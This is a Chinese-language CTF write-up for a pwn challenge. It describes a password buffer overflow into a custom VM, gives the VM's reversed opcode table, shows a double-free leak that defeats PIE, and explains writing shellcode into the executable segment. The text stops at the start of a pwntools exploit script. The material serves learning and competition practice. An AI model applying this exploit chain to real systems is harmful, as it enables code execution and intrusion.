漏洞是在输入密码那里有个buffer overflow,长度够长能够一直覆盖掉下面的一些vm里面执行的代码。get_pass里头有个函数,是读取bss上的部分伪代码,根据伪代码来进行一些写入操作。我们姑且把这个函数叫做vm。
难点一在于逆向vm函数,弄懂其中的逻辑。行为表如下。
heap1 = 0x57010
heap2 = 0x57030
case: '1' : --*heap2;
case: 'L' : ++*heap2;
case: 'N' : *heap2 = *heap1
case: 'a' : --*heap1;
case: 'h' : ++input
case: 'm' : ++*input
case: 'o' : --input
case: 'r' : ++*heap1
case: 'u' : --*input
case: [] : input ? execute: skip
case: {} : heap2 ? execute: skip
还有一个地方卡了很久,因为开了PIE,一直找不到地址的泄露。后来发现remove那里也是有double free,heap上面有一个chunk是保存了可执行代码段的地址的。只要
remove(0);remove(2);remove(0)
就能够泄露出可执行段的地址,然后通过logout进入vm函数,overflow改掉vm操作的基地址,接下来就可以通过伪代码去网可执行段里面写shellcode了。
因为长度限制,这里分开了两次操作把shellcode写入段中,最后通过buy操作即可触发shellcode。
from pwn import *
LSHIFT = 'o' # --i
RSHIFT = 'h' # ++i
INC = 'm' # ++ (*i)
DEC = 'u' # -- (*i)
context.arch='amd64'
password = '\x86\x13\x81\tb\xffD\xd3?\xcd\x19\xb0\xfb\x88\xfd\xae \xdf' + '\x00'*85
context.log_level = 'debug'
# p = process('./beep